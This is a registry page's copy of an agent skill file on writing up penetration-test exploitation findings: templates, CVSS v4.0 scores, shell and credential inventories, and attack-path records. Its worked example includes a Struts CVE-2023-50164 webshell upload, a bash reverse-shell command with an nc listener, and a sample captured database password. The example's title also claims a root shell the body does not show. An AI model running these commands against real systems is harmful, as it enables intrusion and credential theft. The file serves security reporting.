[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFJR3FS13DWBTGZKMRJ3QQ":3,"skill-same:01M7DFJR3FS13DWBTGZKMRJ3QQ":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFJR3FS13DWBTGZKMRJ3QQ","exploit-reporting",null,"Exploitation finding documentation — initial access reports, exploit chain documentation, CVSS v4.0 scoring, shell\u002Fcredential inventory, detection gap analysis.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Freporting\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploit-reporting\ndescription: \"Exploitation finding documentation — initial access reports, exploit chain documentation, CVSS v4.0 scoring, shell\u002Fcredential inventory, detection gap analysis.\"\nallowed-tools: Read Write\nmetadata:\n  subdomain: reporting\n  kind: reporting\n  when_to_use: \"write finding, document exploit, exploitation report, access achieved, shell obtained, credential found\"\n  tags: report, exploit, findings, cvss, shells, creds, detection-gap\n  mitre_attack: T1190\n---\n\n# Exploitation Reporting Knowledge Base\n\nExploitation findings are only operationally useful when documented with enough precision that anyone can reproduce the access, understand the impact, and trace the full attack path. This skill defines how to structure, score, and persist exploitation findings within the Raptix engagement directory.\n\n## 1. Exploitation Finding Template\n\nEvery verified successful exploitation MUST produce a finding Markdown file in the active engagement workspace's `findings\u002F` directory named `FIND-{NNN}.md`. The file name and `id` field in YAML frontmatter (`FIND-001`, `FIND-002`, ...) are the canonical cross-reference — determine the next ID by counting existing files. Do not create placeholder finding files.\n\n```markdown\n---\nid: FIND-001\nseverity: CRITICAL\ncvss_score: 9.3\ncvss_vector: \"CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N\"\ncwe: CWE-78\nmitre: T1190\naffected_target: 10.0.1.50\naffected_component: \"Apache Struts 2.5.30 — \u002Fstruts2\u002Fupload.action\"\nconfidence: confirmed\nobjective_id: OBJ-EXP-001\nphase: initial-access\nagent: exploit\ndetected: false\nremediation_priority: immediate\ndiscovered_at: \"2026-04-06T14:32:00Z\"\n---\n\n# [CRITICAL] Remote Code Execution via Apache Struts CVE-2023-50164 on 10.0.1.50:8080 — Root Shell Achieved\n\n## Description\n\nApache Struts 2.5.30 is vulnerable to CVE-2023-50164, a file upload path traversal flaw in the `FileUploadInterceptor`. An unauthenticated attacker can manipulate the `Upload-Dir` parameter during a multipart upload request to traverse outside the intended upload directory and write an arbitrary file — including a JSP webshell — to the web root. This achieves unauthenticated remote code execution as the Tomcat service account.\n\nThe vulnerability exists because `FileUploadInterceptor` does not canonicalize the destination path before writing, allowing `..\u002F` sequences to escape the configured upload directory.\n\n## Steps to Reproduce\n\n```bash\n# 1. Confirm the target is running Struts (identified during recon)\ncurl -s -I http:\u002F\u002F10.0.1.50:8080\u002Fstruts2\u002F | grep -i server\n\n# 2. Generate the malicious multipart upload request\n# Upload a JSP webshell to \u002Fstruts2\u002F..\u002Fshell.jsp (resolves to web root)\ncurl -s -X POST http:\u002F\u002F10.0.1.50:8080\u002Fstruts2\u002Fupload.action \\\n  -F \"Upload=@\u002Ftmp\u002Fshell.jsp;type=image\u002Fjpeg\" \\\n  -F \"Upload-Dir=..\u002F.\" \\\n  -o \u002Fworkspace\u002Ftarget\u002Ffindings\u002Fevidence\u002FFIND-001_upload_response.txt\n\n# 3. Confirm shell placement\ncurl -s http:\u002F\u002F10.0.1.50:8080\u002Fshell.jsp?cmd=id \\\n  -o \u002Fworkspace\u002Ftarget\u002Ffindings\u002Fevidence\u002FFIND-001_rce_confirm.txt\n\n# 4. Upgrade to reverse shell\ncurl -s \"http:\u002F\u002F10.0.1.50:8080\u002Fshell.jsp?cmd=bash+-c+'bash+-i+>%26+\u002Fdev\u002Ftcp\u002F10.10.10.1\u002F4444+0>%261'\" &\nnc -lvnp 4444\n```\n\n## Proof of Exploitation\n\n```\n# whoami output on compromised host\ntomcat\n\n# id output\nuid=52(tomcat) gid=52(tomcat) groups=52(tomcat)\n\n# hostname\napp01.internal.example.com\n\n# uname -a\nLinux app01.internal.example.com 5.15.0-1034-aws #38-Ubuntu SMP x86_64 GNU\u002FLinux\n\n# ip addr (abridged)\ninet 10.0.1.50\u002F24 brd 10.0.1.255 scope global eth0\ninet 10.0.2.1\u002F24 brd 10.0.2.255 scope global eth1\n```\n\n## Access Achieved\n\n| Target | Access Level | Method | Credentials Used | Persistence Status |\n|--------|-------------|--------|------------------|--------------------|\n| 10.0.1.50:8080 (app01) | Remote Code Execution (tomcat) | CVE-2023-50164 — JSP webshell | None (unauthenticated) | Webshell at \u002Fshell.jsp |\n\n## Impact\n\nAn unauthenticated attacker has OS-level command execution as the `tomcat` service account on `app01.internal.example.com`. The host has dual-network interfaces (10.0.1.0\u002F24 external-facing + 10.0.2.0\u002F24 internal), making it a pivot point into the internal network segment. From this position an attacker can:\n\n- Enumerate and access internal services on 10.0.2.0\u002F24 not reachable externally\n- Read application configuration files containing database credentials\n- Install a persistent reverse shell or C2 implant\n- Escalate privileges via local kernel or sudo misconfigurations\n\n## Evidence\n\n| Type | Path | Description |\n|------|------|-------------|\n| HTTP response | findings\u002Fevidence\u002FFIND-001_upload_response.txt | Server response confirming file write |\n| RCE confirmation | findings\u002Fevidence\u002FFIND-001_rce_confirm.txt | Output of `id` command via webshell |\n| Shell session log | findings\u002Fevidence\u002FFIND-001_shell_session.txt | Full interactive shell transcript |\n| Payload | findings\u002Fevidence\u002FFIND-001_shell.jsp | JSP webshell payload used |\n\n## Detection Gap Analysis\n\n| Control | Status | Notes |\n|---------|--------|-------|\n| WAF | Not triggered | Multipart upload traffic not inspected |\n| IDS\u002FIPS | Not triggered | No signature match for Struts exploit pattern |\n| EDR | Not triggered | Tomcat process spawning child processes not alerted |\n| SIEM | No alert | No rule for unexpected JSP file creation in web root |\n| File integrity monitoring | Not detected | Web root not monitored for new .jsp files |\n\nExploitation was not detected. The upload blended with normal application traffic. The JSP webshell at `\u002Fshell.jsp` remained accessible for the duration of testing with no automated response.\n\n## Remediation\n\n1. **Patch immediately**: Upgrade Apache Struts to 2.5.33 or 6.3.0.2+ (fix for CVE-2023-50164)\n2. **Restrict file uploads**: Validate and canonicalize upload paths server-side; reject `..\u002F` sequences\n3. **Limit web root writability**: Run Tomcat with a read-only web root; use a separate upload directory outside the document root\n4. **Deploy WAF rule**: Block multipart uploads containing path traversal sequences in field values\n5. **Add FIM**: Monitor the web root for new `.jsp` and `.war` file creation\n\n## References\n\n- CVE-2023-50164: https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2023-50164\n- Apache Security Bulletin: https:\u002F\u002Fstruts.apache.org\u002Fannounce-2023.html#a20231207\n- PoC: https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F51733\n- MITRE ATT&CK T1190: https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1190\u002F\n\n## Attack Path Context\n\nThis finding achieves **Initial Access** (TA0001) via **Exploit Public-Facing Application** (T1190). The dual-network interface on `app01` enables **Lateral Movement** into the 10.0.2.0\u002F24 internal segment. Recommended next steps:\n\n1. Enumerate internal hosts on 10.0.2.0\u002F24 via the shell pivot\n2. Read `\u002Fopt\u002Ftomcat\u002Fwebapps\u002Fstruts2\u002FWEB-INF\u002Fclasses\u002F*.properties` for database credentials\n3. Escalate from `tomcat` to root via local privilege escalation (see post-exploit phase)\n```\n\n---\n\n## 2. Common Exploitation CVSS v4.0 Reference Scores\n\nUse these pre-calculated vectors as a starting point. Adjust supplemental metrics (Automatable, Recovery, Provider Urgency) based on actual conditions observed.\n\n| Finding Type | CVSS 4.0 Score | Vector | Notes |\n|-------------|---------------|--------|-------|\n| Unauthenticated RCE via public-facing app | 9.3 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N` | Adjust SC\u002FSI\u002FSA if scope crosses trust boundary |\n| RCE requiring low-priv credentials | 8.7 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:L\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N` | |\n| Authentication bypass (admin panel) | 9.1 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:N\u002FSC:N\u002FSI:N\u002FSA:N` | Reduce VI if read-only |\n| SQL injection with data read | 8.7 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:N\u002FVA:N\u002FSC:N\u002FSI:N\u002FSA:N` | Raise VI to H if write confirmed |\n| SQL injection with OS shell | 9.3 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N` | Same as RCE once shell achieved |\n| Default\u002Fweak credentials — admin | 9.0 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N` | |\n| Default\u002Fweak credentials — service account | 7.0 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:L\u002FVI:L\u002FVA:N\u002FSC:N\u002FSI:N\u002FSA:N` | Raise based on actual access level |\n| SSRF to internal services | 6.9 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:L\u002FVI:N\u002FVA:N\u002FSC:H\u002FSI:N\u002FSA:N` | Raise SC\u002FSI if cloud metadata accessed |\n| SSRF to cloud metadata (IAM creds) | 8.8 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:N\u002FVA:N\u002FSC:H\u002FSI:H\u002FSA:N` | High SC\u002FSI due to cloud environment impact |\n\n### CVSS 4.0 Severity Bands\n\n| Score | Severity | Remediation SLA |\n|-------|----------|----------------|\n| 9.0 – 10.0 | Critical | Immediate (24 hours) |\n| 7.0 – 8.9 | High | Within 7 days |\n| 4.0 – 6.9 | Medium | Within 30 days |\n| 0.1 – 3.9 | Low | Within 90 days |\n\n### Key CVSS 4.0 Metrics (vs 3.1)\n\n| Metric | CVSS 3.1 | CVSS 4.0 | Notes |\n|--------|----------|----------|-------|\n| Attack Complexity | AC:L \u002F AC:H | AC:L \u002F AC:H | Same meaning |\n| Attack Requirements | — | AT:N \u002F AT:P | New: conditions beyond attacker control |\n| Scope | S:U \u002F S:C | Removed | Replaced by SC\u002FSI\u002FSA (Subsequent System) |\n| Subsequent System | — | SC \u002F SI \u002F SA | Impact on systems beyond the vulnerable one |\n| Automatable | — | AU:N \u002F AU:Y | Supplemental: can the attack be scripted at scale? |\n| Recovery | — | R:A \u002F R:U \u002F R:I | Supplemental: how quickly does the system recover? |\n\n---\n\n## 3. Shell and Credential Cross-Reference\n\nEvery shell obtained and credential captured MUST be recorded in the engagement's structured JSON files AND linked back to a finding ID.\n\n### Shell Entry — `exploit\u002Fshells.json`\n\n```json\n{\n  \"shell_id\": \"SHELL-001\",\n  \"finding_id\": \"FIND-001\",\n  \"target\": \"10.0.1.50\",\n  \"hostname\": \"app01.internal.example.com\",\n  \"access_level\": \"user\",\n  \"user\": \"tomcat\",\n  \"uid\": 52,\n  \"groups\": [\"tomcat\"],\n  \"shell_type\": \"reverse-shell\",\n  \"method\": \"JSP webshell via CVE-2023-50164\",\n  \"listener\": \"nc -lvnp 4444\",\n  \"webshell_path\": \"\u002Fopt\u002Ftomcat\u002Fwebapps\u002FROOT\u002Fshell.jsp\",\n  \"webshell_url\": \"http:\u002F\u002F10.0.1.50:8080\u002Fshell.jsp\",\n  \"networks\": [\"10.0.1.0\u002F24\", \"10.0.2.0\u002F24\"],\n  \"os\": \"Linux 5.15.0-1034-aws x86_64\",\n  \"obtained_at\": \"2026-04-06T14:35:00Z\",\n  \"persistence_status\": \"webshell\",\n  \"notes\": \"Dual-NIC host — pivot point into 10.0.2.0\u002F24 internal segment\"\n}\n```\n\n### Credential Entry — `exploit\u002Fcreds\u002Finitial.json`\n\n```json\n{\n  \"cred_id\": \"CRED-001\",\n  \"finding_id\": \"FIND-002\",\n  \"source_host\": \"app01.internal.example.com\",\n  \"source_path\": \"\u002Fopt\u002Ftomcat\u002Fwebapps\u002Fstruts2\u002FWEB-INF\u002Fclasses\u002Fdb.properties\",\n  \"type\": \"database\",\n  \"service\": \"mysql\",\n  \"target_host\": \"10.0.2.10\",\n  \"target_port\": 3306,\n  \"username\": \"appuser\",\n  \"password\": \"Str0ngP@ss2024!\",\n  \"hash\": null,\n  \"access_level\": \"application-user\",\n  \"databases\": [\"app_production\"],\n  \"verified\": true,\n  \"obtained_at\": \"2026-04-06T14:40:00Z\",\n  \"notes\": \"Plaintext credentials in config file on app01\"\n}\n```\n\n### Linking Rule\n\n- Every `SHELL-NNN` entry MUST have a `finding_id` pointing to a `FIND-NNN.md`\n- Every `CRED-NNN` entry MUST have a `finding_id` pointing to a `FIND-NNN.md`\n- The corresponding `FIND-NNN.md` MUST list the shell\u002Fcred evidence path in its **Evidence** table\n\n---\n\n## 4. Attack Path Documentation\n\nWhen multiple findings chain together to escalate access, create a `PATH-NNN.md` in `findings\u002Fattack-paths\u002F`.\n\n```markdown\n---\nid: PATH-001\nname: \"Unauthenticated External RCE to Internal Database via App Server Pivot\"\ncombined_severity: CRITICAL\nfinding_ids: [FIND-001, FIND-002, FIND-003]\ncreated_at: \"2026-04-06T15:00:00Z\"\n---\n\n# PATH-001: Unauthenticated External RCE to Internal Database via App Server Pivot\n\n## Attack Path Steps\n\n| Order | Phase | Technique | MITRE ID | Source | Target | Tool | Detected | Finding ID |\n|-------|-------|-----------|----------|--------|--------|------|----------|------------|\n| 1 | Initial Access | Exploit Public-Facing Application | T1190 | Internet | 10.0.1.50:8080 | curl + JSP webshell | No | FIND-001 |\n| 2 | Execution | Command and Script Interpreter: Unix Shell | T1059.004 | 10.0.1.50 | 10.0.1.50 | bash reverse shell | No | FIND-001 |\n| 3 | Collection | Data from Local System | T1005 | 10.0.1.50 | \u002Fopt\u002Ftomcat\u002F…\u002Fdb.properties | cat | No | FIND-002 |\n| 4 | Lateral Movement | Remote Services: Database Protocol | T1021 | 10.0.1.50 | 10.0.2.10:3306 | mysql client | No | FIND-003 |\n\n## Narrative\n\nExploitation began with CVE-2023-50164 against the externally accessible Apache Struts application on `app01` (10.0.1.50:8080). The file upload path traversal vulnerability allowed placement of a JSP webshell in the Tomcat web root without authentication, achieving OS-level code execution as the `tomcat` service account (FIND-001).\n\nWith shell access on `app01`, configuration files in the deployed WAR revealed plaintext MySQL credentials for a production database on the internal network segment 10.0.2.0\u002F24 (FIND-002). Using the `tomcat` shell as a pivot, the MySQL client was used to connect directly to `db01` (10.0.2.10:3306) with the extracted credentials, achieving full read\u002Fwrite access to `app_production` (FIND-003).\n\n## Combined Severity Assessment\n\nThe three individual findings combine to produce a CRITICAL chain severity:\n- FIND-001 alone is Critical (CVSS 4.0: 9.3) — unauthenticated RCE on internet-facing host\n- FIND-002 escalates from code execution to credential access — no additional network exposure\n- FIND-003 converts application-tier credentials into direct production database access\n\n**Chain result**: Unauthenticated external attacker → production database read\u002Fwrite in three steps, zero detections.\n```\n\n### Chain Severity Escalation Rules\n\n| Chain Pattern | Combined Severity | Rationale |\n|--------------|-------------------|-----------|\n| Unauthenticated RCE → internal pivot → credential access | CRITICAL | Internet to internal DB in one chain |\n| Auth bypass → admin panel → config file credentials | CRITICAL | Full auth collapse + credential leak |\n| Weak creds → low-priv shell → local privesc to root | CRITICAL | Full host compromise |\n| SSRF → cloud metadata → IAM role theft | CRITICAL | Cloud environment takeover |\n| SQLi read-only → no further escalation | HIGH | Data breach, no lateral movement |\n| IDOR → read another user's PII → no further escalation | MEDIUM-HIGH | Data exposure, no system compromise |\n\n---\n\n## 5. Evidence Collection Checklist\n\nCollect evidence during exploitation, not after. Once a session ends, some evidence may be unrecoverable.\n\n### Required for Every Finding\n\n- [ ] Exact commands used, copied verbatim (not paraphrased)\n- [ ] Full command output proving access: `whoami`, `id`, `hostname`, `ip addr`\n- [ ] Timestamp of access: `date -u` on the compromised host\n- [ ] Network position: `ip route` or `netstat -rn`\n\n### Web Exploitation Specific\n\n- [ ] Raw HTTP request used (Burp Suite export or `curl -v` output)\n- [ ] Raw HTTP response confirming the vulnerability\n- [ ] If webshell: URL, HTTP method, parameter name, payload\n\n### Credential Capture Specific\n\n- [ ] Source file path where credentials were found\n- [ ] Full file contents or relevant excerpt (saved to evidence\u002F)\n- [ ] Verification that credentials work: connection log or command output\n\n### Reverse Shell Specific\n\n- [ ] Full session transcript (terminal log)\n- [ ] Listener command used\n- [ ] Callback IP and port\n- [ ] Shell upgrade steps (pty upgrade, etc.)\n\n### Evidence File Naming Convention\n\n```\nFIND-{NNN}_{description}.txt\n\nExamples:\n  FIND-001_upload_response.txt      # HTTP response from exploit\n  FIND-001_rce_confirm.txt          # id\u002Fwhoami output\n  FIND-001_shell_session.txt        # Full shell transcript\n  FIND-001_shell.jsp                # Payload file used\n  FIND-002_db_properties.txt        # Config file with credentials\n  FIND-003_mysql_dump_partial.txt   # DB access proof\n```\n\nAll evidence files go in: `findings\u002Fevidence\u002F`\n\n---\n\n## 6. MITRE ATT&CK Exploitation Technique Reference\n\n### Initial Access (TA0001)\n\n| Technique ID | Name | When to Tag |\n|-------------|------|-------------|\n| T1190 | Exploit Public-Facing Application | CVE exploitation, web app attacks, exposed services |\n| T1133 | External Remote Services | VPN\u002FRDP\u002FSSH brute force or credential stuffing from internet |\n| T1078 | Valid Accounts | Default credentials, stolen\u002Fguessed passwords |\n| T1078.001 | Valid Accounts: Default Accounts | Vendor default creds (admin\u002Fadmin, sa\u002F, etc.) |\n| T1078.003 | Valid Accounts: Local Accounts | Local OS account credential reuse |\n\n### Execution (TA0002)\n\n| Technique ID | Name | When to Tag |\n|-------------|------|-------------|\n| T1059 | Command and Script Interpreter | Any shell execution post-exploit |\n| T1059.001 | PowerShell | PowerShell payloads, Empire, PowerSploit |\n| T1059.004 | Unix Shell | bash\u002Fsh\u002Fzsh command execution |\n| T1059.006 | Python | Python one-liners, pickle payloads |\n| T1203 | Exploitation for Client Execution | Client-side exploits (phishing, macro docs) |\n| T1072 | Software Deployment Tools | Exploiting Jenkins, Ansible, Puppet for execution |\n\n### Persistence (TA0003) — Note if achieved during initial access\n\n| Technique ID | Name | When to Tag |\n|-------------|------|-------------|\n| T1505.003 | Server Software Component: Web Shell | JSP, PHP, ASPX webshells deployed |\n| T1053.005 | Scheduled Task\u002FJob: Cron | Cron job persistence |\n| T1136 | Create Account | New user\u002Fservice account created |\n\n---\n\n## 7. File Layout Reference\n\n```\n\u002Fworkspace\u002F\n├── plan\u002F\n│   ├── roe.json\n│   ├── conops.json\n│   └── opplan.json\n├── exploit\u002F\n│   ├── shells.json              # All shells obtained (SHELL-NNN entries)\n│   └── creds\u002F\n│       ├── initial.json         # All credentials captured (CRED-NNN entries)\n│       └── credentials.md       # Verbatim high-value secrets (written first on capture)\n├── findings\u002F\n│   ├── FIND-001.md              # Finding documents (stable FIND-NNN key; id in frontmatter)\n│   ├── FIND-002.md\n│   ├── attack-paths\u002F\n│   │   └── PATH-001.md          # Multi-finding attack chain documents\n│   └── evidence\u002F\n│       ├── FIND-001_upload_response.txt   # Evidence keyed by finding ID\n│       ├── FIND-001_rce_confirm.txt\n│       ├── FIND-001_shell.jsp\n│       └── FIND-002_db_properties.txt\n└── timeline.jsonl              # Append-only activity\u002Ffinding timeline\n```\n\n## 8. OPPLAN Update After Exploitation\n\nAfter documenting a finding, update `plan\u002Fopplan.json` to close the objective and create follow-up work.\n\n```json\n{\n  \"objective_update\": {\n    \"id\": \"OBJ-EXP-001\",\n    \"status\": \"completed\",\n    \"result\": \"RCE achieved on app01 (10.0.1.50) via CVE-2023-50164. Tomcat shell obtained. See FIND-001.\",\n    \"finding_ids\": [\"FIND-001\"]\n  },\n  \"new_objectives\": [\n    {\n      \"id\": \"OBJ-EXP-002\",\n      \"phase\": \"exploitation\",\n      \"description\": \"Read config files on app01 to extract database credentials\",\n      \"acceptance_criteria\": \"Credentials documented in creds\u002Finitial.json with verified:true\",\n      \"priority\": 1,\n      \"depends_on\": \"FIND-001\"\n    },\n    {\n      \"id\": \"OBJ-POST-001\",\n      \"phase\": \"post-exploitation\",\n      \"description\": \"Enumerate internal network 10.0.2.0\u002F24 via app01 pivot shell\",\n      \"acceptance_criteria\": \"Live hosts and open ports documented in findings\",\n      \"priority\": 2,\n      \"depends_on\": \"FIND-001\"\n    }\n  ]\n}\n```\n\nAlso append a one-line summary to `findings.txt`:\n\n```\n[2026-04-06T14:35:00Z] FIND-001 CRITICAL — RCE on app01 (10.0.1.50) via CVE-2023-50164 (Struts). Tomcat shell. Dual-NIC pivot into 10.0.2.0\u002F24. Not detected.\n```\n\n## 9. Pre-Submission Checklist\n\nBefore marking an exploitation objective as complete:\n\n- [ ] `findings\u002FFIND-{NNN}.md` finding file created with all required frontmatter fields populated\n- [ ] CVSS 4.0 score calculated and vector string included\n- [ ] MITRE ATT&CK technique(s) tagged in frontmatter and finding body\n- [ ] Steps to Reproduce are exact — tested commands, not paraphrased\n- [ ] Proof of Exploitation section includes `whoami`\u002F`id`\u002F`hostname` output\n- [ ] All evidence files saved to `findings\u002Fevidence\u002F` with correct naming\n- [ ] Shell entry added to `exploit\u002Fshells.json` (if shell obtained)\n- [ ] Credential entry added to `exploit\u002Fcreds\u002Finitial.json` (if creds captured)\n- [ ] `plan\u002Fopplan.json` objective status set to `completed` with `finding_ids`\n- [ ] Follow-up objectives created in `opplan.json` for post-exploit phase\n- [ ] One-line summary appended to `findings.txt`\n- [ ] Attack path document created in `findings\u002Fattack-paths\u002F` if 2+ findings chain\n","# Exploitation Reporting Knowledge Base\n\nExploitation findings are only operationally useful when documented with enough precision that anyone can reproduce the access, understand the impact, and trace the full attack path. This skill defines how to structure, score, and persist exploitation findings within the Raptix engagement directory.\n\n## 1. Exploitation Finding Template\n\nEvery verified successful exploitation MUST produce a finding Markdown file in the active engagement workspace's `findings\u002F` directory named `FIND-{NNN}.md`. The file name and `id` field in YAML frontmatter (`FIND-001`, `FIND-002`, ...) are the canonical cross-reference — determine the next ID by counting existing files. Do not create placeholder finding files.\n\n```markdown\n---\nid: FIND-001\nseverity: CRITICAL\ncvss_score: 9.3\ncvss_vector: \"CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N\"\ncwe: CWE-78\nmitre: T1190\naffected_target: 10.0.1.50\naffected_component: \"Apache Struts 2.5.30 — \u002Fstruts2\u002Fupload.action\"\nconfidence: confirmed\nobjective_id: OBJ-EXP-001\nphase: initial-access\nagent: exploit\ndetected: false\nremediation_priority: immediate\ndiscovered_at: \"2026-04-06T14:32:00Z\"\n---\n\n# [CRITICAL] Remote Code Execution via Apache Struts CVE-2023-50164 on 10.0.1.50:8080 — Root Shell Achieved\n\n## Description\n\nApache Struts 2.5.30 is vulnerable to CVE-2023-50164, a file upload path traversal flaw in the `FileUploadInterceptor`. An unauthenticated attacker can manipulate the `Upload-Dir` parameter during a multipart upload request to traverse outside the intended upload directory and write an arbitrary file — including a JSP webshell — to the web root. This achieves unauthenticated remote code execution as the Tomcat service account.\n\nThe vulnerability exists because `FileUploadInterceptor` does not canonicalize the destination path before writing, allowing `..\u002F` sequences to escape the configured upload directory.\n\n## Steps to Reproduce\n\n```bash\n# 1. Confirm the target is running Struts (identified during recon)\ncurl -s -I http:\u002F\u002F10.0.1.50:8080\u002Fstruts2\u002F | grep -i server\n\n# 2. Generate the malicious multipart upload request\n# Upload a JSP webshell to \u002Fstruts2\u002F..\u002Fshell.jsp (resolves to web root)\ncurl -s -X POST http:\u002F\u002F10.0.1.50:8080\u002Fstruts2\u002Fupload.action \\\n  -F \"Upload=@\u002Ftmp\u002Fshell.jsp;type=image\u002Fjpeg\" \\\n  -F \"Upload-Dir=..\u002F.\" \\\n  -o \u002Fworkspace\u002Ftarget\u002Ffindings\u002Fevidence\u002FFIND-001_upload_response.txt\n\n# 3. Confirm shell placement\ncurl -s http:\u002F\u002F10.0.1.50:8080\u002Fshell.jsp?cmd=id \\\n  -o \u002Fworkspace\u002Ftarget\u002Ffindings\u002Fevidence\u002FFIND-001_rce_confirm.txt\n\n# 4. Upgrade to reverse shell\ncurl -s \"http:\u002F\u002F10.0.1.50:8080\u002Fshell.jsp?cmd=bash+-c+'bash+-i+>%26+\u002Fdev\u002Ftcp\u002F10.10.10.1\u002F4444+0>%261'\" &\nnc -lvnp 4444\n```\n\n## Proof of Exploitation\n\n```\n# whoami output on compromised host\ntomcat\n\n# id output\nuid=52(tomcat) gid=52(tomcat) groups=52(tomcat)\n\n# hostname\napp01.internal.example.com\n\n# uname -a\nLinux app01.internal.example.com 5.15.0-1034-aws #38-Ubuntu SMP x86_64 GNU\u002FLinux\n\n# ip addr (abridged)\ninet 10.0.1.50\u002F24 brd 10.0.1.255 scope global eth0\ninet 10.0.2.1\u002F24 brd 10.0.2.255 scope global eth1\n```\n\n## Access Achieved\n\n| Target | Access Level | Method | Credentials Used | Persistence Status |\n|--------|-------------|--------|------------------|--------------------|\n| 10.0.1.50:8080 (app01) | Remote Code Execution (tomcat) | CVE-2023-50164 — JSP webshell | None (unauthenticated) | Webshell at \u002Fshell.jsp |\n\n## Impact\n\nAn unauthenticated attacker has OS-level command execution as the `tomcat` service account on `app01.internal.example.com`. The host has dual-network interfaces (10.0.1.0\u002F24 external-facing + 10.0.2.0\u002F24 internal), making it a pivot point into the internal network segment. From this position an attacker can:\n\n- Enumerate and access internal services on 10.0.2.0\u002F24 not reachable externally\n- Read application configuration files containing database credentials\n- Install a persistent reverse shell or C2 implant\n- Escalate privileges via local kernel or sudo misconfigurations\n\n## Evidence\n\n| Type | Path | Description |\n|------|------|-------------|\n| HTTP response | findings\u002Fevidence\u002FFIND-001_upload_response.txt | Server response confirming file write |\n| RCE confirmation | findings\u002Fevidence\u002FFIND-001_rce_confirm.txt | Output of `id` command via webshell |\n| Shell session log | findings\u002Fevidence\u002FFIND-001_shell_session.txt | Full interactive shell transcript |\n| Payload | findings\u002Fevidence\u002FFIND-001_shell.jsp | JSP webshell payload used |\n\n## Detection Gap Analysis\n\n| Control | Status | Notes |\n|---------|--------|-------|\n| WAF | Not triggered | Multipart upload traffic not inspected |\n| IDS\u002FIPS | Not triggered | No signature match for Struts exploit pattern |\n| EDR | Not triggered | Tomcat process spawning child processes not alerted |\n| SIEM | No alert | No rule for unexpected JSP file creation in web root |\n| File integrity monitoring | Not detected | Web root not monitored for new .jsp files |\n\nExploitation was not detected. The upload blended with normal application traffic. The JSP webshell at `\u002Fshell.jsp` remained accessible for the duration of testing with no automated response.\n\n## Remediation\n\n1. **Patch immediately**: Upgrade Apache Struts to 2.5.33 or 6.3.0.2+ (fix for CVE-2023-50164)\n2. **Restrict file uploads**: Validate and canonicalize upload paths server-side; reject `..\u002F` sequences\n3. **Limit web root writability**: Run Tomcat with a read-only web root; use a separate upload directory outside the document root\n4. **Deploy WAF rule**: Block multipart uploads containing path traversal sequences in field values\n5. **Add FIM**: Monitor the web root for new `.jsp` and `.war` file creation\n\n## References\n\n- CVE-2023-50164: https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2023-50164\n- Apache Security Bulletin: https:\u002F\u002Fstruts.apache.org\u002Fannounce-2023.html#a20231207\n- PoC: https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F51733\n- MITRE ATT&CK T1190: https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1190\u002F\n\n## Attack Path Context\n\nThis finding achieves **Initial Access** (TA0001) via **Exploit Public-Facing Application** (T1190). The dual-network interface on `app01` enables **Lateral Movement** into the 10.0.2.0\u002F24 internal segment. Recommended next steps:\n\n1. Enumerate internal hosts on 10.0.2.0\u002F24 via the shell pivot\n2. Read `\u002Fopt\u002Ftomcat\u002Fwebapps\u002Fstruts2\u002FWEB-INF\u002Fclasses\u002F*.properties` for database credentials\n3. Escalate from `tomcat` to root via local privilege escalation (see post-exploit phase)\n```\n\n---\n\n## 2. Common Exploitation CVSS v4.0 Reference Scores\n\nUse these 